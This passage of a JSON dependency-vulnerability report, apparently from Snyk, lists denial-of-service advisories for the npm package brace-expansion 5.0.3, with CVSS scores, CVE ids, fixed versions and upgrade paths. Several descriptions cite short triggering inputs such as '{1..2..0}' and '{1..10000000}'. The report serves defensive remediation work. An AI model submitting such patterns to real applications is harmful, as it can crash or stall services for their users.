"brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", 